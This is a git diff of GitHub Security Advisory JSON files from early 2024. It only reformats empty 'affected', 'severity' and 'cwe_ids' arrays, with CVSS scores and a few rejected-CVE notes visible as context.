a/advisories/unreviewed/2024/01/GHSA-jjr8-97p7-vmmg/GHSA-jjr8-97p7-vmmg.json +++ b/advisories/unreviewed/2024/01/GHSA-jjr8-97p7-vmmg/GHSA-jjr8-97p7-vmmg.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/01/GHSA-jq89-m55q-mghh/GHSA-jq89-m55q-mghh.json b/advisories/unreviewed/2024/01/GHSA-jq89-m55q-mghh/GHSA-jq89-m55q-mghh.json index 4c6ec340506..e63869ed43d 100644 --- a/advisories/unreviewed/2024/01/GHSA-jq89-m55q-mghh/GHSA-jq89-m55q-mghh.json +++ b/advisories/unreviewed/2024/01/GHSA-jq89-m55q-mghh/GHSA-jq89-m55q-mghh.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/01/GHSA-jqwr-v2gv-8pw2/GHSA-jqwr-v2gv-8pw2.json b/advisories/unreviewed/2024/01/GHSA-jqwr-v2gv-8pw2/GHSA-jqwr-v2gv-8pw2.json index 7ceb4051918..a93e97ab06e 100644 --- a/advisories/unreviewed/2024/01/GHSA-jqwr-v2gv-8pw2/GHSA-jqwr-v2gv-8pw2.json +++ b/advisories/unreviewed/2024/01/GHSA-jqwr-v2gv-8pw2/GHSA-jqwr-v2gv-8pw2.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/01/GHSA-jrjh-cm7j-j4fh/GHSA-jrjh-cm7j-j4fh.json b/advisories/unreviewed/2024/01/GHSA-jrjh-cm7j-j4fh/GHSA-jrjh-cm7j-j4fh.json index 236195ca5dc..b75d7097d07 100644 --- a/advisories/unreviewed/2024/01/GHSA-jrjh-cm7j-j4fh/GHSA-jrjh-cm7j-j4fh.json +++ b/advisories/unreviewed/2024/01/GHSA-jrjh-cm7j-j4fh/GHSA-jrjh-cm7j-j4fh.json @@ -7,12 +7,8 @@ "CVE-2024-1087" ], "details": "Rejected reason: This CVE ID has been rejected or withdrawn by its CVE Numbering Authority because it is a duplicate of CVE-2024-1085.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -20,9 +16,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": null, "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2024/01/GHSA-mcx8-9rrj-7qxm/GHSA-mcx8-9rrj-7qxm.json b/advisories/unreviewed/2024/01/GHSA-mcx8-9rrj-7qxm/GHSA-mcx8-9rrj-7qxm.json index 093c1c6e606..ba8a2608553 100644 --- a/advisories/unreviewed/2024/01/GHSA-mcx8-9rrj-7qxm/GHSA-mcx8-9rrj-7qxm.json +++ b/advisories/unreviewed/2024/01/GHSA-mcx8-9rrj-7qxm/GHSA-mcx8-9rrj-7qxm.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/01/GHSA-p774-6cp5-x7cj/GHSA-p774-6cp5-x7cj.json b/advisories/unreviewed/2024/01/GHSA-p774-6cp5-x7cj/GHSA-p774-6cp5-x7cj.json index dad7e866cb9..feaba0fd79b 100644 --- a/advisories/unreviewed/2024/01/GHSA-p774-6cp5-x7cj/GHSA-p774-6cp5-x7cj.json +++ b/advisories/unreviewed/2024/01/GHSA-p774-6cp5-x7cj/GHSA-p774-6cp5-x7cj.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/01/GHSA-pcjv-393q-rqf2/GHSA-pcjv-393q-rqf2.json b/advisories/unreviewed/2024/01/GHSA-pcjv-393q-rqf2/GHSA-pcjv-393q-rqf2.json index 9fee9509998..1e338de1884 100644 --- a/advisories/unreviewed/2024/01/GHSA-pcjv-393q-rqf2/GHSA-pcjv-393q-rqf2.json +++ b/advisories/unreviewed/2024/01/GHSA-pcjv-393q-rqf2/GHSA-pcjv-393q-rqf2.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/01/GHSA-pqh2-qcg3-9x62/GHSA-pqh2-qcg3-9x62.json b/advisories/unreviewed/2024/01/GHSA-pqh2-qcg3-9x62/GHSA-pqh2-qcg3-9x62.json index 729f9db8db5..5ae504b7bd0 100644 --- a/advisories/unreviewed/2024/01/GHSA-pqh2-qcg3-9x62/GHSA-pqh2-qcg3-9x62.json +++ b/advisories/unreviewed/2024/01/GHSA-pqh2-qcg3-9x62/GHSA-pqh2-qcg3-9x62.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/01/GHSA-pqpm-xc7w-528j/GHSA-pqpm-xc7w-528j.json b/advisories/unreviewed/2024/01/GHSA-pqpm-xc7w-528j/GHSA-pqpm-xc7w-528j.json index 142e031c7c4..960236553e7 100644 --- a/advisories/unreviewed/2024/01/GHSA-pqpm-xc7w-528j/GHSA-pqpm-xc7w-528j.json +++ b/advisories/unreviewed/2024/01/GHSA-pqpm-xc7w-528j/GHSA-pqpm-xc7w-528j.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/01/GHSA-qpjv-gm6g-p2gh/GHSA-qpjv-gm6g-p2gh.json b/advisories/unreviewed/2024/01/GHSA-qpjv-gm6g-p2gh/GHSA-qpjv-gm6g-p2gh.json index 2a880d492f2..a7509709b8c 100644 --- a/advisories/unreviewed/2024/01/GHSA-qpjv-gm6g-p2gh/GHSA-qpjv-gm6g-p2gh.json +++ b/advisories/unreviewed/2024/01/GHSA-qpjv-gm6g-p2gh/GHSA-qpjv-gm6g-p2gh.json @@ -7,12 +7,8 @@ "CVE-2023-3934" ], "details": "Rejected reason: Please discard this CVE, we are not using this anymore. The vulnerability turned out to be a non-security issue", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -20,9 +16,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": null, "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2024/01/GHSA-qvvr-wcmf-4v5h/GHSA-qvvr-wcmf-4v5h.json b/advisories/unreviewed/2024/01/GHSA-qvvr-wcmf-4v5h/GHSA-qvvr-wcmf-4v5h.json index 2dca04df191..3062964db44 100644 --- a/advisories/unreviewed/2024/01/GHSA-qvvr-wcmf-4v5h/GHSA-qvvr-wcmf-4v5h.json +++ b/advisories/unreviewed/2024/01/GHSA-qvvr-wcmf-4v5h/GHSA-qvvr-wcmf-4v5h.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/01/GHSA-r47x-9r32-fvp4/GHSA-r47x-9r32-fvp4.json b/advisories/unreviewed/2024/01/GHSA-r47x-9r32-fvp4/GHSA-r47x-9r32-fvp4.json index 1edb1c7eff9..2787ed31a57 100644 --- a/advisories/unreviewed/2024/01/GHSA-r47x-9r32-fvp4/GHSA-r47x-9r32-fvp4.json +++ b/advisories/unreviewed/2024/01/GHSA-r47x-9r32-fvp4/GHSA-r47x-9r32-fvp4.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/01/GHSA-rhfh-jh7g-3xpj/GHSA-rhfh-jh7g-3xpj.json b/advisories/unreviewed/2024/01/GHSA-rhfh-jh7g-3xpj/GHSA-rhfh-jh7g-3xpj.json index 1d3d167da09..221cf0fd2d3 100644 --- a/advisories/unreviewed/2024/01/GHSA-rhfh-jh7g-3xpj/GHSA-rhfh-jh7g-3xpj.json +++ b/advisories/unreviewed/2024/01/GHSA-rhfh-jh7g-3xpj/GHSA-rhfh-jh7g-3xpj.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/01/GHSA-rr4v-xrwq-7rhx/GHSA-rr4v-xrwq-7rhx.json b/advisories/unreviewed/2024/01/GHSA-rr4v-xrwq-7rhx/GHSA-rr4v-xrwq-7rhx.json index 4f7d0d016bf..ed1bf4dc67b 100644 --- a/advisories/unreviewed/2024/01/GHSA-rr4v-xrwq-7rhx/GHSA-rr4v-xrwq-7rhx.json +++ b/advisories/unreviewed/2024/01/GHSA-rr4v-xrwq-7rhx/GHSA-rr4v-xrwq-7rhx.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:P/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/01/GHSA-rx6w-gc3r-2fh2/GHSA-rx6w-gc3r-2fh2.json b/advisories/unreviewed/2024/01/GHSA-rx6w-gc3r-2fh2/GHSA-rx6w-gc3r-2fh2.json index 8c48fadd744..b486fde1477 100644 --- a/advisories/unreviewed/2024/01/GHSA-rx6w-gc3r-2fh2/GHSA-rx6w-gc3r-2fh2.json +++ b/advisories/unreviewed/2024/01/GHSA-rx6w-gc3r-2fh2/GHSA-rx6w-gc3r-2fh2.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/01/GHSA-rx7c-6cwm-h95c/GHSA-rx7c-6cwm-h95c.json b/advisories/unreviewed/2024/01/GHSA-rx7c-6cwm-h95c/GHSA-rx7c-6cwm-h95c.json index b68f1d3e5ae..772b9aed617 100644 --- a/advisories/unreviewed/2024/01/GHSA-rx7c-6cwm-h95c/GHSA-rx7c-6cwm-h95c.json +++ b/advisories/unreviewed/2024/01/GHSA-rx7c-6cwm-h95c/GHSA-rx7c-6cwm-h95c.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/01/GHSA-v6cc-j2v5-w3jj/GHSA-v6cc-j2v5-w3jj.json b/advisories/unreviewed/2024/01/GHSA-v6cc-j2v5-w3jj/GHSA-v6cc-j2v5-w3jj.json index 6b38493959f..7e9f1dbad38 100644 --- a/advisories/unreviewed/2024/01/GHSA-v6cc-j2v5-w3jj/GHSA-v6cc-j2v5-w3jj.json +++ b/advisories/unreviewed/2024/01/GHSA-v6cc-j2v5-w3jj/GHSA-v6cc-j2v5-w3jj.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/01/GHSA-vw65-ccrc-xmfw/GHSA-vw65-ccrc-xmfw.json b/advisories/unreviewed/2024/01/GHSA-vw65-ccrc-xmfw/GHSA-vw65-ccrc-xmfw.json index 9d9d359d3d5..e940ed18b3d 100644 --- a/advisories/unreviewed/2024/01/GHSA-vw65-ccrc-xmfw/GHSA-vw65-ccrc-xmfw.json +++ b/advisories/unreviewed/2024/01/GHSA-vw65-ccrc-xmfw/GHSA-vw65-ccrc-xmfw.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", @@ -47,9 +45,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2024/01/GHSA-vwg3-8x87-rfjm/GHSA-vwg3-8x87-rfjm.json b/advisories/unreviewed/2024/01/GHSA-vwg3-8x87-rfjm/GHSA-vwg3-8x87-rfjm.json index 3b51f34f3fb..1ed61b97785 100644 --- a/advisories/unreviewed/2024/01/GHSA-vwg3-8x87-rfjm/GHSA-vwg3-8x87-rfjm.json +++ b/advisories/unreviewed/2024/01/GHSA-vwg3-8x87-rfjm/GHSA-vwg3-8x87-rfjm.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", @@ -31,9 +29,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "CRITICAL", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2024/01/GHSA-w56r-g989-xqw3/GHSA-w56r-g989-xqw3.json b/advisories/unreviewed/2024/01/GHSA-w56r-g989-xqw3/GHSA-w56r-g989-xqw3.json index 572bd80f5b5..5db18c4ccea 100644 --- a/advisories/unreviewed/2024/01/GHSA-w56r-g989-xqw3/GHSA-w56r-g989-xqw3.json +++ b/advisories/unreviewed/2024/01/GHSA-w56r-g989-xqw3/GHSA-w56r-g989-xqw3.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/01/GHSA-w668-xcxf-v3gg/GHSA-w668-xcxf-v3gg.json b/advisories/unreviewed/2024/01/GHSA-w668-xcxf-v3gg/GHSA-w668-xcxf-v3gg.json index 584002aec08..6cf3d27c236 100644 --- a/advisories/unreviewed/2024/01/GHSA-w668-xcxf-v3gg/GHSA-w668-xcxf-v3gg.json +++ b/advisories/unreviewed/2024/01/GHSA-w668-xcxf-v3gg/GHSA-w668-xcxf-v3gg.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/01/GHSA-x697-v25m-6phv/GHSA-x697-v25m-6phv.json b/advisories/unreviewed/2024/01/GHSA-x697-v25m-6phv/GHSA-x697-v25m-6phv.json index f18c1c09b33..7ac09759b46 100644 --- a/advisories/unreviewed/2024/01/GHSA-x697-v25m-6phv/GHSA-x697-v25m-6phv.json +++ b/advisories/unreviewed/2024/01/GHSA-x697-v25m-6phv/GHSA-x697-v25m-6phv.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/01/GHSA-x774-2c9j-53hg/GHSA-x774-2c9j-53hg.json b/advisories/unreviewed/2024/01/GHSA-x774-2c9j-53hg/GHSA-x774-2c9j-53hg.json index 00f3d3671b2..76f6ba1900d 100644 --- a/advisories/unreviewed/2024/01/GHSA-x774-2c9j-53hg/GHSA-x774-2c9j-53hg.json +++ b/advisories/unreviewed/2024/01/GHSA-x774-2c9j-53hg/GHSA-x774-2c9j-53hg.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/01/GHSA-x9c6-9g9w-hg73/GHSA-x9c6-9g9w-hg73.json b/advisories/unreviewed/2024/01/GHSA-x9c6-9g9w-hg73/GHSA-x9c6-9g9w-hg73.json index 17d75d3833c..dc82b0bb77d 100644 --- a/advisories/unreviewed/2024/01/GHSA-x9c6-9g9w-hg73/GHSA-x9c6-9g9w-hg73.json +++ b/advisories/unreviewed/2024/01/GHSA-x9c6-9g9w-hg73/GHSA-x9c6-9g9w-hg73.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/01/GHSA-xq4v-69gf-r78f/GHSA-xq4v-69gf-r78f.json b/advisories/unreviewed/2024/01/GHSA-xq4v-69gf-r78f/GHSA-xq4v-69gf-r78f.json index 69522c6594a..5221430b246 100644 --- a/advisories/unreviewed/2024/01/GHSA-xq4v-69gf-r78f/GHSA-xq4v-69gf-r78f.json +++ b/advisories/unreviewed/2024/01/GHSA-xq4v-69gf-r78f/GHSA-xq4v-69gf-r78f.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/01/GHSA-xr44-2pv4-gw8r/GHSA-xr44-2pv4-gw8r.json b/advisories/unreviewed/2024/01/GHSA-xr44-2pv4-gw8r/GHSA-xr44-2pv4-gw8r.json index 142698165e6..4c2255954f0 100644 --- a/advisories/unreviewed/2024/01/GHSA-xr44-2pv4-gw8r/GHSA-xr44-2pv4-gw8r.json +++ b/advisories/unreviewed/2024/01/GHSA-xr44-2pv4-gw8r/GHSA-xr44-2pv4-gw8r.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/02/GHSA-2cwc-8x85-2774/GHSA-2cwc-8x85-2774.json b/advisories/unreviewed/2024/02/GHSA-2cwc-8x85-2774/GHSA-2cwc-8x85-2774.json index 0427dca0fab..0bb12a054d0 100644 --- a/advisories/unreviewed/2024/02/GHSA-2cwc-8x85-2774/GHSA-2cwc-8x85-2774.json +++ b/advisories/unreviewed/2024/02/GHSA-2cwc-8x85-2774/GHSA-2cwc-8x85-2774.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:N/I:L/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/02/GHSA-2gw8-8q9v-75m8/GHSA-2gw8-8q9v-75m8.json b/advisories/unreviewed/2024/02/GHSA-2gw8-8q9v-75m8/GHSA-2gw8-8q9v-75m8.json index bb995cc3af7..9a260e4e0d8 100644 --- a/advisories/unreviewed/2024/02/GHSA-2gw8-8q9v-75m8/GHSA-2gw8-8q9v-75m8.json +++ b/advisories/unreviewed/2024/02/GHSA-2gw8-8q9v-75m8/GHSA-2gw8-8q9v-75m8.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/02/GHSA-37rj-769r-rwrv/GHSA-37rj-769r-rwrv.json b/advisories/unreviewed/2024/02/GHSA-37rj-769r-rwrv/GHSA-37rj-769r-rwrv.json index 3211254516e..2ab840c7d73 100644 --- a/advisories/unreviewed/2024/02/GHSA-37rj-769r-rwrv/GHSA-37rj-769r-rwrv.json +++ b/advisories/unreviewed/2024/02/GHSA-37rj-769r-rwrv/GHSA-37rj-769r-rwrv.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/02/GHSA-46hv-9rq5-9v3w/GHSA-46hv-9rq5-9v3w.json b/advisories/unreviewed/2024/02/GHSA-46hv-9rq5-9v3w/GHSA-46hv-9rq5-9v3w.json index a299418be9f..530f4cfca71 100644 --- a/advisories/unreviewed/2024/02/GHSA-46hv-9rq5-9v3w/GHSA-46hv-9rq5-9v3w.json +++ b/advisories/unreviewed/2024/02/GHSA-46hv-9rq5-9v3w/GHSA-46hv-9rq5-9v3w.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/02/GHSA-5233-h8c5-6rmx/GHSA-5233-h8c5-6rmx.json b/advisories/unreviewed/2024/02/GHSA-5233-h8c5-6rmx/GHSA-5233-h8c5-6rmx.json index 0d29245b472..3417010c7cc 100644 --- a/advisories/unreviewed/2024/02/GHSA-5233-h8c5-6rmx/GHSA-5233-h8c5-6rmx.json +++ b/advisories/unreviewed/2024/02/GHSA-5233-h8c5-6rmx/GHSA-5233-h8c5-6rmx.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/02/GHSA-548x-pj87-qv7f/GHSA-548x-pj87-qv7f.json b/advisories/unreviewed/2024/02/GHSA-548x-pj87-qv7f/GHSA-548x-pj87-qv7f.json index 2f975024bd2..fad2b400a7c 100644 --- a/advisories/unreviewed/2024/02/GHSA-548x-pj87-qv7f/GHSA-548x-pj87-qv7f.json +++ b/advisories/unreviewed/2024/02/GHSA-548x-pj87-qv7f/GHSA-548x-pj87-qv7f.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/02/GHSA-5gvr-285q-pwc3/GHSA-5gvr-285q-pwc3.json b/advisories/unreviewed/2024/02/GHSA-5gvr-285q-pwc3/GHSA-5gvr-285q-pwc3.json index 31558dc00d2..479e2848936 100644 --- a/advisories/unreviewed/2024/02/GHSA-5gvr-285q-pwc3/GHSA-5gvr-285q-pwc3.json +++ b/advisories/unreviewed/2024/02/GHSA-5gvr-285q-pwc3/GHSA-5gvr-285q-pwc3.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/02/GHSA-63cq-gvxf-cpjp/GHSA-63cq-gvxf-cpjp.json b/advisories/unreviewed/2024/02/GHSA-63cq-gvxf-cpjp/GHSA-63cq-gvxf-cpjp.json index 16eacf2804c..01b0036824d 100644 --- a/advisories/unreviewed/2024/02/GHSA-63cq-gvxf-cpjp/GHSA-63cq-gvxf-cpjp.json +++ b/advisories/unreviewed/2024/02/GHSA-63cq-gvxf-cpjp/GHSA-63cq-gvxf-cpjp.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/02/GHSA-6fvm-72pg-5mvv/GHSA-6fvm-72pg-5mvv.json b/advisories/unreviewed/2024/02/GHSA-6fvm-72pg-5mvv/GHSA-6fvm-72pg-5mvv.json index bd4d5250994..c554b3e5c6d 100644 --- a/advisories/unreviewed/2024/02/GHSA-6fvm-72pg-5mvv/GHSA-6fvm-72pg-5mvv.json +++ b/advisories/unreviewed/2024/02/GHSA-6fvm-72pg-5mvv/GHSA-6fvm-72pg-5mvv.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/02/GHSA-6rq5-p8rc-hp83/GHSA-6rq5-p8rc-hp83.json b/advisories/unreviewed/2024/02/GHSA-6rq5-p8rc-hp83/GHSA-6rq5-p8rc-hp83.json index 86cfd031bfc..5608ec37a1f 100644 --- a/advisories/unreviewed/2024/02/GHSA-6rq5-p8rc-hp83/GHSA-6rq5-p8rc-hp83.json +++ b/advisories/unreviewed/2024/02/GHSA-6rq5-p8rc-hp83/GHSA-6rq5-p8rc-hp83.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/02/GHSA-6vr7-3j3q-8546/GHSA-6vr7-3j3q-8546.json b/advisories/unreviewed/2024/02/GHSA-6vr7-3j3q-8546/GHSA-6vr7-3j3q-8546.json index d2ebda536e6..cb077e71df2 100644 --- a/advisories/unreviewed/2024/02/GHSA-6vr7-3j3q-8546/GHSA-6vr7-3j3q-8546.json +++ b/advisories/unreviewed/2024/02/GHSA-6vr7-3j3q-8546/GHSA-6vr7-3j3q-8546.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/02/GHSA-78jq-x5w5-4mwh/GHSA-78jq-x5w5-4mwh.json b/advisories/unreviewed/2024/02/GHSA-78jq-x5w5-4mwh/GHSA-78jq-x5w5-4mwh.json index 9c15693a726..48efd10be64 100644 --- a/advisories/unreviewed/2024/02/GHSA-78jq-x5w5-4mwh/GHSA-78jq-x5w5-4mwh.json +++ b/advisories/unreviewed/2024/02/GHSA-78jq-x5w5-4mwh/GHSA-78jq-x5w5-4mwh.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/02/GHSA-79qr-9mf7-fr3g/GHSA-79qr-9mf7-fr3g.json b/advisories/unreviewed/2024/02/GHSA-79qr-9mf7-fr3g/GHSA-79qr-9mf7-fr3g.json index ed1dbefd3ac..b10e9e85965 100644 --- a/advisories/unreviewed/2024/02/GHSA-79qr-9mf7-fr3g/GHSA-79qr-9mf7-fr3g.json +++ b/advisories/unreviewed/2024/02/GHSA-79qr-9mf7-fr3g/GHSA-79qr-9mf7-fr3g.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/02/GHSA-86g4-g26w-p44c/GHSA-86g4-g26w-p44c.json b/advisories/unreviewed/2024/02/GHSA-86g4-g26w-p44c/GHSA-86g4-g26w-p44c.json index 58d4fcf5c7b..72c757eeebd 100644 --- a/advisories/unreviewed/2024/02/GHSA-86g4-g26w-p44c/GHSA-86g4-g26w-p44c.json +++ b/advisories/unreviewed/2024/02/GHSA-86g4-g26w-p44c/GHSA-86g4-g26w-p44c.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/02/GHSA-8frx-325f-xvxg/GHSA-8frx-325f-xvxg.json b/advisories/unreviewed/2024/02/GHSA-8frx-325f-xvxg/GHSA-8frx-325f-xvxg.json index 52f46dfea25..6c50fa88f58 100644 --- a/advisories/unreviewed/2024/02/GHSA-8frx-325f-xvxg/GHSA-8frx-325f-xvxg.json +++ b/advisories/unreviewed/2024/02/GHSA-8frx-325f-xvxg/GHSA-8frx-325f-xvxg.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/02/GHSA-97fg-5ggq-j35p/GHSA-97fg-5ggq-j35p.json b/advisories/unreviewed/2024/02/GHSA-97fg-5ggq-j35p/GHSA-97fg-5ggq-j35p.json index 07501c947ad..435f5cde33a 100644 --- a/advisories/unreviewed/2024/02/GHSA-97fg-5ggq-j35p/GHSA-97fg-5ggq-j35p.json +++ 